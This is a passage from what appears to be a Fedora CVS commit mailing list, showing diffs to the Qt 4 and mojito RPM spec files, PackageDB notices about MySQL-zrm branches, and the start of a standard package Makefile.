 Obsoletes: qt4-mysql < %{version}-%{release}
 Provides:  qt4-mysql = %{version}-%{release}
-%endif
 
 %description mysql 
 %{summary}.
@@ -296,13 +306,11 @@ Provides:  qt4-mysql = %{version}-%{rele
 %package odbc 
 Summary: ODBC driver for Qt's SQL classes
 Group: System Environment/Libraries
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
 Obsoletes: qt4-ODBC < %{version}-%{release}
 Provides:  qt4-ODBC = %{version}-%{release}
-%if "%{name}" != "qt4"
 Obsoletes: qt4-odbc < %{version}-%{release}
 Provides:  qt4-odbc = %{version}-%{release}
-%endif
 
 %description odbc 
 %{summary}.
@@ -311,13 +319,11 @@ Provides:  qt4-odbc = %{version}-%{relea
 %package postgresql 
 Summary: PostgreSQL driver for Qt's SQL classes
 Group: System Environment/Libraries
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
 Obsoletes: qt4-PostgreSQL < %{version}-%{release}
 Provides:  qt4-PostgreSQL = %{version}-%{release}
-%if "%{name}" != "qt4"
 Obsoletes: qt4-postgresql < %{version}-%{release}
 Provides:  qt4-postgresql = %{version}-%{release}
-%endif
 
 %description postgresql 
 %{summary}.
@@ -326,26 +332,24 @@ Provides:  qt4-postgresql = %{version}-%
 %package x11
 Summary: Qt GUI-related libraries
 Group: System Environment/Libraries
+%if 0%{?phonon:1}
+Requires:  phonon-backend%{?_isa} >= %{phonon_version_major} 
+%endif
 %if 0%{?phonon_internal}
 Obsoletes: phonon < 4.3.1-100
-Provides:  phonon = 4.3.1-100
-%endif
-%if 0%{?phonon:1}
-Provides: qt4-phonon = %{version}-%{release}
+Provides:  phonon = %{phonon_version}-%{phonon_release}
+Provides:  phonon%{?_isa} = %{phonon_version}-%{phonon_release}
+Provides:  qt4-phonon = %{version}-%{release}
 %endif
 %if 0%{?webkit:1}
 Obsoletes: WebKit-qt < 1.0.0-1
 Provides:  WebKit-qt = 1.0.0-1
 %endif
 Provides: qt4-assistant = %{version}-%{release}
-%if "%{name}" != "qt4"
 Provides: %{name}-assistant = %{version}-%{release}
-%endif
-Requires: %{name} = %{?epoch:%{epoch}:}%{version}-%{release}
-%if "%{name}" != "qt4"
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
 Obsoletes: qt4-x11 < %{version}-%{release}
 Provides:  qt4-x11 = %{version}-%{release}
-%endif
 Requires(post): /sbin/ldconfig
 Requires(postun): /sbin/ldconfig
 
@@ -354,18 +358,7 @@ Qt libraries used for drawing widgets an
 
 
 %prep
-%setup -q -n qt-x11-opensource-src-%{version} %{?qt_copy:-a 2}
-
-%if 0%{?qt_copy}
-%patch20 -p1 -b .qt-copy-qt452
-echo "0234" >> patches/DISABLED
-echo "0250" >> patches/DISABLED
-echo "0273" >> patches/DISABLED
-echo "0279" >> patches/DISABLED
-echo "0281" >> patches/DISABLED
-echo "0282" >> patches/DISABLED
-test -x apply_patches && ./apply_patches
-%endif
+%setup -q -n qt-x11-opensource-src-%{version}
 
 # don't use -b on mkspec files, else they get installed too.
 # multilib hacks no longer required
@@ -377,27 +370,46 @@ test -x apply_patches && ./apply_patches
 %patch13 -p1 -b .gcc_hack
 %patch15 -p1 -b .enable_ft_lcdfilter
 %patch16 -p1 -b .kde4_plugins
+%patch17 -p1 -b .phonon-pulseaudio
+%patch19 -p1 -b .servicesfile
+%patch21 -p1 -b .gst-pulsaudio
+%patch22 -p1 -b .system_ca_certificates
+%patch23 -p1 -b .javascriptcore-disable-jit
 %patch51 -p1 -b .qdoc3
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
-%patch55 -p1 -b .timestamp
 
 # security fixes
-%patch100 -p1 -b .CVE-2009-1725
-%patch101 -p1 -b .CVE-2009-2700
 
-%patch287 -p1 -b .287-qmenu-respect
-%patch0288 -p1 -b .0288-more-x-keycodes
+# kde-qt branch
+%patch201 -p1 -b .kde-qt-0001
+%patch202 -p1 -b .kde-qt-0002
+%patch203 -p1 -b .kde-qt-0003
+%patch204 -p1 -b .kde-qt-0004
+%patch205 -p1 -b .kde-qt-0005
+%patch206 -p1 -b .kde-qt-0006
+%patch207 -p1 -b .kde-qt-0007
+%patch208 -p1 -b .kde-qt-0008
+%patch209 -p1 -b .kde-qt-0009
+%patch210 -p1 -b .kde-qt-0010
+%patch211 -p1 -b .kde-qt-0011
+%patch212 -p1 -b .0274-shm-native-image-fix
+%patch213 -p1 -b .kde-qt-0015
+%patch214 -p1 -b .kde-qt-0016
+%patch215 -p1 -b .kde-qt-0017
+
+# not yet merged ones
+%patch301 -p0 -b .0118-qtcopy-define
+%patch302 -p0 -b .0283-do-not-deduce-scrollbar-extent-twice
+%patch303 -p0 -b .0285-qgv-dontshowchildren
 
 # drop -fexceptions from $RPM_OPT_FLAGS
 RPM_OPT_FLAGS=`echo $RPM_OPT_FLAGS | sed 's|-fexceptions||g'`
 
-## customize our platform
-%if "%{_lib}" == "lib64"
-%define platform linux-g++-64
-%else
 %define platform linux-g++
+%if "%{_qt4_datadir}" != "%{_qt4_prefix}" && "%{_lib}" == "lib64"                                  
+%define platform linux-g++-64                                                                      
 %endif
 
 sed -i \
@@ -427,6 +439,11 @@ if [ "%{_lib}" == "lib64" ] ; then
   sed -i -e "s,/lib /usr/lib,/%{_lib} /usr/%{_lib},g" config.tests/{unix,x11}/*.test
 fi
 
+# let makefile create missing .qm files, the .qm files should be included in qt upstream
+for f in translations/*.ts ; do
+  touch ${f%.ts}.qm
+done
+
 
 %build
 
@@ -491,6 +508,9 @@ fi
 
 make %{?_smp_mflags}
 
+# recreate .qm files
+LD_LIBRARY_PATH=`pwd`/lib bin/lrelease translations/*.ts
+
 
 %install
 rm -rf %{buildroot}
@@ -528,6 +548,13 @@ done
 # nuke dangling reference(s) to %buildroot
 sed -i -e "/^QMAKE_PRL_BUILD_DIR/d" %{buildroot}%{_qt4_libdir}/*.prl
 
+# nuke QMAKE_PRL_LIBS, seems similar to static linking and .la files (#520323)
+sed -i -e "s|^QMAKE_PRL_LIBS|#QMAKE_PRL_LIBS|" %{buildroot}%{_qt4_libdir}/*.prl
+
+# .la files, die, die, die.
+rm -f %{buildroot}%{_qt4_libdir}/lib*.la
+
+
 %if 0
 #if "%{_qt4_docdir}" != "%{_qt4_prefix}/doc"
 # -doc make symbolic link to _qt4_docdir
@@ -558,7 +585,7 @@ pushd %{buildroot}%{_qt4_libdir}
 for lib in libQt*.so ; do
    libbase=`basename $lib .so | sed -e 's/^lib//'`
 #  ln -s $lib lib${libbase}_debug.so
-   echo "INPUT(-l${libbase})" > lib${libbase}_debug.so
+   echo "INPUT(-l${libbase})" > lib${libbase}_debug.so 
 done
 for lib in libQt*.a ; do
    libbase=`basename $lib .a | sed -e 's/^lib//' `
@@ -567,9 +594,6 @@ for lib in libQt*.a ; do
 done
 popd
 
-# .la files, die, die, die.
-rm -f %{buildroot}%{_qt4_libdir}/lib*.la
-
 %ifarch %{multilib_archs}
 # multilib: qconfig.h
   mv %{buildroot}%{_qt4_headerdir}/Qt/qconfig.h %{buildroot}%{_qt4_headerdir}/QtCore/qconfig-%{_arch}.h
@@ -597,10 +621,17 @@ install -p -m644 -D %{SOURCE4} %{buildro
 # qt4-logo (generic) icons
 install -p -m644 -D %{SOURCE30} %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/qt4-logo.png
 install -p -m644 -D %{SOURCE31} %{buildroot}%{_datadir}/icons/hicolor/48x48/apps/qt4-logo.png
+%if 0%{?docs}
+# assistant icons
+install -p -m644 -D tools/assistant/tools/assistant/images/assistant.png %{buildroot}%{_datadir}/icons/hicolor/32x32/apps/assistant.png
+install -p -m644 -D tools/assistant/tools/assistant/images/assistant-128.png %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/assistant.png
+%endif
+# designer icons
+install -p -m644 -D tools/designer/src/designer/images/designer.png %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/designer.png
 # linguist icons
 for icon in tools/linguist/linguist/images/icons/linguist-*-32.png ; do
   size=$(echo $(basename ${icon}) | cut -d- -f2)
-  install -p -m644 -D ${icon} %{buildroot}%{_datadir}/icons/hicolor/${size}x${size}/apps/linguist4.png
+  install -p -m644 -D ${icon} %{buildroot}%{_datadir}/icons/hicolor/${size}x${size}/apps/linguist.png
 done
 
 # Qt.pc
@@ -646,20 +677,36 @@ EOF
 # create/own %%_qt4_plugindir/styles
 mkdir %{buildroot}%{_qt4_plugindir}/styles
 
-%if 0%{?phonon:1} 
-mkdir -p %{buildroot}%{_qt4_plugindir}/phonon_backend
-%endif
-
-%if ! 0%{?phonon_internal}
+%if 0%{?phonon_internal}
 mkdir -p %{buildroot}%{_qt4_plugindir}/phonon_backend
+# This should no longer be required, but... -- Rex
+pushd %{buildroot}%{_qt4_headerdir}
+ln -s phonon Phonon
+popd
+%else
 rm -fv  %{buildroot}%{_qt4_libdir}/libphonon.so*
 rm -rfv %{buildroot}%{_libdir}/pkgconfig/phonon.pc
 # contents slightly different between phonon-4.3.1 and qt-4.5.0
 rm -fv  %{buildroot}%{_includedir}/phonon/phononnamespace.h
 # contents dup'd but should remove just in case
 rm -fv  %{buildroot}%{_includedir}/phonon/*.h
-#rm -rfv %{buildroot}%{_qt4_headerdir}/phonon*
+rm -rfv %{buildroot}%{_qt4_headerdir}/phonon*
 #rm -rfv %{buildroot}%{_qt4_headerdir}/Qt/phonon*
+rm -fv %{buildroot}%{_datadir}/dbus-1/interfaces/org.kde.Phonon.AudioOutput.xml
+%endif
+
+#if "%{?phonon_backend}" == "-phonon-backend"
+%if 0%{?phonon_backend_packaged}
+install -D -m 0644 %{SOURCE10} %{buildroot}%{_datadir}/icons/hicolor/scalable/apps/phonon-gstreamer.svg
+install -D -m 0644 %{SOURCE11} %{buildroot}%{_datadir}/icons/hicolor/16x16/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE12} %{buildroot}%{_datadir}/icons/hicolor/22x22/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE13} %{buildroot}%{_datadir}/icons/hicolor/32x32/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE14} %{buildroot}%{_datadir}/icons/hicolor/48x48/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE15} %{buildroot}%{_datadir}/icons/hicolor/64x64/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE16} %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/phonon-gstreamer.png
+%else
+rm -fv %{buildroot}%{_qt4_plugindir}/phonon_backend/*_gstreamer.so
+rm -fv %{buildroot}%{_datadir}/kde4/services/phononbackends/gstreamer.desktop
 %endif
 
 
@@ -697,10 +744,30 @@ touch --no-create %{_datadir}/icons/hico
 gtk-update-icon-cache -q %{_datadir}/icons/hicolor 2> /dev/null ||:
 fi
 
+#if "%{?phonon_backend}" == "-phonon-backend"
+%if 0%{?phonon_backend_packaged}
+%post -n phonon-backend-gstreamer
+touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+
+%posttrans -n phonon-backend-gstreamer
+gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+
+%postun -n phonon-backend-gstreamer
+if [ $1 -eq 0 ] ; then
+  touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+  gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+fi
+
+%files -n phonon-backend-gstreamer
+%defattr(-,root,root,-)
+%{_qt4_plugindir}/phonon_backend/*_gstreamer.so
+%{_datadir}/kde4/services/phononbackends/gstreamer.desktop
+%{_datadir}/icons/hicolor/*/apps/phonon-gstreamer.*
+%endif
 
 %files
 %defattr(-,root,root,-)
-%doc README* LGPL_EXCEPTION.txt LICENSE.LGPL LICENSE.GPL3
+%doc README README.kde-qt LGPL_EXCEPTION.txt LICENSE.LGPL LICENSE.GPL3
 %if "%{_qt4_libdir}" != "%{_libdir}"
 /etc/ld.so.conf.d/*
 %dir %{_qt4_libdir}
@@ -716,6 +783,10 @@ fi
 %else
 %dir %{_qt4_datadir}
 %endif
+%if 0%{?docs}
+%dir %{_qt4_docdir}
+%dir %{_qt4_docdir}/qch/
+%endif
 %if "%{_qt4_sysconfdir}" != "%{_sysconfdir}"
 %dir %{_qt4_sysconfdir}
 %endif
@@ -804,10 +875,10 @@ fi
 %{_qt4_datadir}/q3porting.xml
 %if 0%{?phonon:1}
 %{_qt4_libdir}/libphonon.prl
+%endif
 %if 0%{?phonon_internal}
 %{_qt4_libdir}/libphonon.so
 %endif
-%endif
 %{_qt4_libdir}/libQt*.so
 %{_qt4_libdir}/libQtUiTools*.a
 %{_qt4_libdir}/libQt*.prl
@@ -815,21 +886,26 @@ fi
 # Qt designer
 %{_qt4_bindir}/designer*
 %{_datadir}/applications/*designer.desktop
+%{_datadir}/icons/hicolor/*/apps/designer*
+%{?docs:%{_qt4_docdir}/qch/designer.qch}
 # Qt Linguist
 %{_qt4_bindir}/linguist*
 %{_datadir}/applications/*linguist.desktop
-%{_datadir}/icons/hicolor/*/apps/linguist4.*
+%{_datadir}/icons/hicolor/*/apps/linguist*
+%{?docs:%{_qt4_docdir}/qch/linguist.qch}
 
 %if 0%{?docs}
 %files doc
 %defattr(-,root,root,-)
-%dir %{_qt4_docdir}/
 %{_qt4_docdir}/html
-%{_qt4_docdir}/qch/
+%{_qt4_docdir}/qch/*.qch
+%exclude %{_qt4_docdir}/qch/designer.qch
+%exclude %{_qt4_docdir}/qch/linguist.qch
 %{_qt4_docdir}/src/
 #{_qt4_prefix}/doc
 # Qt Assistant (bin moved to -x11)
 %{_datadir}/applications/*assistant.desktop
+%{_datadir}/icons/hicolor/*/apps/assistant*
 %endif
 
 %if 0%{?examples}
@@ -861,6 +937,8 @@ fi
 %{_sysconfdir}/rpm/macros.*
 %if 0%{?phonon_internal}
 %{_qt4_libdir}/libphonon.so.4*
+%dir %{_datadir}/kde4/services/phononbackends/
+%{_datadir}/dbus-1/interfaces/org.kde.Phonon.AudioOutput.xml
 %endif
 %{_qt4_libdir}/libQt3Support.so.*
 %{_qt4_libdir}/libQtAssistantClient.so.*
@@ -875,6 +953,10 @@ fi
 %{?webkit:%{_qt4_libdir}/libQtWebKit.so.*}
 %{_qt4_plugindir}/*
 %exclude %{_qt4_plugindir}/sqldrivers
+#if "%{?phonon_backend}" == "-phonon-backend"
+%if 0%{?phonon_backend_packaged}
+%exclude %{_qt4_plugindir}/phonon_backend/*_gstreamer.so
+%endif
 %if "%{_qt4_bindir}" != "%{_bindir}"
 %{_bindir}/assistant*
 %{?dbus:%{_bindir}/qdbusviewer}
@@ -888,24 +970,109 @@ fi
 
 
 %changelog
-* Mon Aug 31 2009 Than Ngo <than at redhat.com> - 4.5.2-3
+* Sat Oct 10 2009 Than Ngo <than at redhat.com> - 4.5.3-4
+- fix translation build issue
+- rhel cleanup
+
+* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.3-3
+- disable JavaScriptCore JIT, SE Linux crashes (#527079)
+
+* Fri Oct 02 2009 Than Ngo <than at redhat.com> - 4.5.3-2
+- cleanup patches
+- if ! phonon_internal, exclude more/all phonon headers
+- qt-devel must Requires: phonon-devel (#520323)
+
+* Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.3-1
+- qt-4.5.3
+
+* Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-21
+- switch to external/kde phonon
+
+* Mon Sep 28 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-20
+- use internal Qt Assistant/Designer icons
+- -devel: move designer.qch,linguist.qch here
+- move ownership of %%_qt4_docdir, %%_qt4_docdir/qch to main pkg
+
+* Sun Sep 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-19
+- Missing Qt Designer icon (#476605)
+
+* Fri Sep 11 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-18
+- drop gcc -fno-var-tracking-assignments hack (#522576)
+
+* Fri Sep 11 2009 Than Ngo <than at redhat.com> - 4.5.2-17
+- drop useless check for ossl patch, the patch works fine with old ossl
+
+* Wed Sep 09 2009 Than Ngo <than at redhat.com> - 4.5.2-16
+- add a correct system_ca_certificates patch
+
+* Tue Sep 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-15
+- use system ca-certificates (#521911)
+
+* Tue Sep 01 2009 Than Ngo <than at redhat.com> - 4.5.2-14
+- drop fedora < 9 support
+- only apply ossl patch for fedora > 11
+
+* Mon Aug 31 2009 Than Ngo <than at redhat.com> - 4.5.2-13
 - fix for CVE-2009-2700
 
-* Tue Aug 18 2009 Than Ngo <than at redhat.com> - 4.5.2-2
-- security fix for CVE-2009-1725
+* Thu Aug 27 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.2-12
+- use platform linux-g++ everywhere (ie, drop linux-g++-64 on 64 bit),
+  avoids plugin/linker weirdness (bug #478481)
+
+* Wed Aug 26 2009 Tomas Mraz <tmraz at redhat.com> - 1:4.5.2-11
+- rebuilt with new openssl
+
+* Thu Aug 20 2009 Than Ngo <than at redhat.com> - 4.5.2-10
+- switch to kde-qt branch
+
+* Tue Aug 18 2009 Than Ngo <than at redhat.com> - 4.5.2-9
+- security fix for CVE-2009-1725 (bz#513813)
 
-* Sat Aug 18 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.2-1.2
+* Sun Aug 16 2009 Than Ngo <than at redhat.com> - 4.5.2-8
+- fix phonon-backend-gstreamer for using pulsaudio (#513421)
+
+* Sat Aug 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.2-7
 - kde-qt: 287-qmenu-respect-minwidth
 - kde-qt: 0288-more-x-keycodes (#475247)
 
-* Wed Aug 05 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.2-1.1
+* Wed Aug 05 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.2-6
 - use linker scripts for _debug targets (#510246)
+- tighten deps using %%{?_isa}
+- -x11: Requires(post,postun): /sbin/ldconfig
+
+* Thu Jul 30 2009 Than Ngo <than at redhat.com> - 4.5.2-5
 - apply upstream patch to fix issue in Copy and paste
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:4.5.2-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Jul 02 2009 Than Ngo <than at redhat.com> - 4.5.2-3
+- pregenerate PNG, drop BR on GraphicsMagick (bz#509244)
+
+* Fri Jun 26 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.5.2-2
+- take current qt-copy-patches snapshot (20090626)
+- disable patches which are already in 4.5.2
+- fix the qt-copy patch 0274-shm-native-image-fix.diff to apply against 4.5.2
+
+* Thu Jun 25 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.5.2-1
+- Qt 4.5.2
+
+* Sun Jun 07 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.1-18
+- phonon-backend-gstreamer pkg, with icons
 - optimize (icon-mostly) scriptlets
-- -x11: Requires(post,postun): /sbin/ldconfig
 
-* Thu Jul 02 2009 Than Ngo <than at redhat.com> - 4.5.2-1
-- 4.5.2
+* Sun Jun 07 2009 Than Ngo <than at redhat.com> - 4.5.1-17
+- drop the hack, apply patch to install Global header, gstreamer.desktop
+  and dbus services file
+
+* Sat Jun 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.1-16
+- install awol Phonon/Global header
+
+* Fri Jun 05 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.5.1-15
+- apply Phonon PulseAudio patch (needed for the xine-lib backend)
+
+* Fri Jun 05 2009 Than Ngo <than at redhat.com> - 4.5.1-14
+- enable phonon and gstreamer-backend
 
 * Sat May 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.1-13
 - -doc: Obsoletes: qt-doc < 1:4.5.1-4 (workaround bug #502401)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-11/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	2 Jul 2009 10:48:59 -0000	1.60
+++ sources	10 Oct 2009 21:13:22 -0000	1.61
@@ -1,4 +1,10 @@
 d9f511e4b51983b4e10eb58b320416d5  hi128-app-qt4-logo.png
 6dcc0672ff9e60a6b83f95c5f42bec5b  hi48-app-qt4-logo.png
-28a7e8ac9805a6f614d2a27ee1a6ac9d  qt-x11-opensource-src-4.5.2.tar.bz2
-9865efce56f62a441a76626226b5f946  qt-copy-patches-20090626svn.tar.bz2
+8e3924f417fea67f72b2105faed2119c  gstreamer-logo.svg
+60de9d7e1cddd019f09fd036f0e5413a  hi128-phonon-gstreamer.png
+7ca265e0cf75b3b4c81e1490d3dba3be  hi16-phonon-gstreamer.png
+0a9f69d901aded140d4fed969c22e14f  hi22-phonon-gstreamer.png
+12db12c009b722a6dc141f78feb7e330  hi32-phonon-gstreamer.png
+86c34a1b81d44980b1381f94ed6b7a23  hi48-phonon-gstreamer.png
+153505c71ec021b0a3bd4b74f2492e93  hi64-phonon-gstreamer.png
+3988cf9af68be2df8a8000ede231de9b  qt-x11-opensource-src-4.5.3.tar.gz


--- 0288-more-x-keycodes.patch DELETED ---


--- 287-qmenu-respect-minwidth.patch DELETED ---


--- qt-copy-20090626-qt452.patch DELETED ---


--- qt-copy-patches-svn_checkout.sh DELETED ---


--- qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-qdoc3.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-timestamp.patch DELETED ---



From pbrobinson at fedoraproject.org  Sat Oct 10 21:24:43 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 21:24:43 +0000 (UTC)
Subject: rpms/mojito/F-12 .cvsignore, 1.11, 1.12 mojito.spec, 1.20,
	1.21 sources, 1.11, 1.12
Message-ID: <20091010212443.A473711C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/mojito/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28497

Modified Files:
	.cvsignore mojito.spec sources 
Log Message:
- Update to 0.21.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	2 Oct 2009 16:34:43 -0000	1.11
+++ .cvsignore	10 Oct 2009 21:24:43 -0000	1.12
@@ -1 +1 @@
-mojito-0.21.2.tar.bz2
+mojito-0.21.3.tar.bz2


Index: mojito.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/mojito.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- mojito.spec	2 Oct 2009 16:34:43 -0000	1.20
+++ mojito.spec	10 Oct 2009 21:24:43 -0000	1.21
@@ -1,5 +1,5 @@
 Name:           mojito
-Version:        0.21.2
+Version:        0.21.3
 Release:        1%{?dist}
 Summary:        A social network data aggregator
 
@@ -105,6 +105,9 @@ rm -rf %{buildroot}
 %{_libdir}/libmojito-keystore.so
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.3-1
+- Update to 0.21.3
+
 * Fri Oct  2 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.2-1
 - Update to 0.21.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Oct 2009 16:34:43 -0000	1.11
+++ sources	10 Oct 2009 21:24:43 -0000	1.12
@@ -1 +1 @@
-cea1f50897d35b4e6731cdfeaef24f11  mojito-0.21.2.tar.bz2
+c887bd7c2dc6611388f6bc1812717e46  mojito-0.21.3.tar.bz2



From pkgdb at fedoraproject.org  Sat Oct 10 22:07:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:07:06 +0000
Subject: [pkgdb] MySQL-zrm was added for ksyz
Message-ID: <20091010220706.CB2BF10F84D@bastion2.fedora.phx.redhat.com>

kevin has added Package MySQL-zrm with summary MySQL backup manager
kevin has approved Package MySQL-zrm
kevin has added a Fedora devel branch for MySQL-zrm with an owner of ksyz
kevin has approved MySQL-zrm in Fedora devel
kevin has approved Package MySQL-zrm
kevin has set commit to Approved for 107427 on MySQL-zrm (Fedora devel)
kevin has set checkout to Approved for 107427 on MySQL-zrm (Fedora devel)
kevin has set build to Approved for 107427 on MySQL-zrm (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/MySQL-zrm



From pkgdb at fedoraproject.org  Sat Oct 10 22:07:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:07:08 +0000
Subject: [pkgdb] MySQL-zrm summary updated by kevin
Message-ID: <20091010220708.C933110F895@bastion2.fedora.phx.redhat.com>

kevin set package MySQL-zrm summary to MySQL backup manager

To make changes to this package see:
  /pkgdb/packages/name/MySQL-zrm



From pkgdb at fedoraproject.org  Sat Oct 10 22:07:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:07:08 +0000
Subject: [pkgdb] MySQL-zrm (Fedora EPEL, 5) updated by kevin
Message-ID: <20091010220708.E36B910F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for MySQL-zrm
kevin has set commit to Approved for 107427 on MySQL-zrm (Fedora 11)
kevin has set checkout to Approved for 107427 on MySQL-zrm (Fedora 11)
kevin has set build to Approved for 107427 on MySQL-zrm (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/MySQL-zrm



From pkgdb at fedoraproject.org  Sat Oct 10 22:07:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:07:08 +0000
Subject: [pkgdb] MySQL-zrm (Fedora EPEL, 5) updated by kevin
Message-ID: <20091010220708.F3E8410F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for MySQL-zrm
kevin has set commit to Approved for 107427 on MySQL-zrm (Fedora 12)
kevin has set checkout to Approved for 107427 on MySQL-zrm (Fedora 12)
kevin has set build to Approved for 107427 on MySQL-zrm (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/MySQL-zrm



From pkgdb at fedoraproject.org  Sat Oct 10 22:07:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:07:08 +0000
Subject: [pkgdb] MySQL-zrm (Fedora EPEL, 5) updated by kevin
Message-ID: <20091010220709.07DAF10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for MySQL-zrm
kevin has set commit to Approved for 107427 on MySQL-zrm (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on MySQL-zrm (Fedora EPEL 5)
kevin has set build to Approved for 107427 on MySQL-zrm (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/MySQL-zrm



From kevin at fedoraproject.org  Sat Oct 10 22:07:17 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:07:17 +0000 (UTC)
Subject: rpms/MySQL-zrm - New directory
Message-ID: <20091010220717.2A91211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/MySQL-zrm
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx10307/rpms/MySQL-zrm

Log Message:
Directory /cvs/pkgs/rpms/MySQL-zrm added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:07:17 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:07:17 +0000 (UTC)
Subject: rpms/MySQL-zrm/devel - New directory
Message-ID: <20091010220717.4DC7211C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/MySQL-zrm/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx10307/rpms/MySQL-zrm/devel

Log Message:
Directory /cvs/pkgs/rpms/MySQL-zrm/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:07:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:07:24 +0000 (UTC)
Subject: rpms/MySQL-zrm/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091010220724.C20C311C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/MySQL-zrm/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx10307/rpms/MySQL-zrm/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module MySQL-zrm


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: MySQL-zrm
# $Id: Makefile,v 1.1 2009/10/10 22:07:24 kevin Exp $
NAME := MySQL-zrm
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
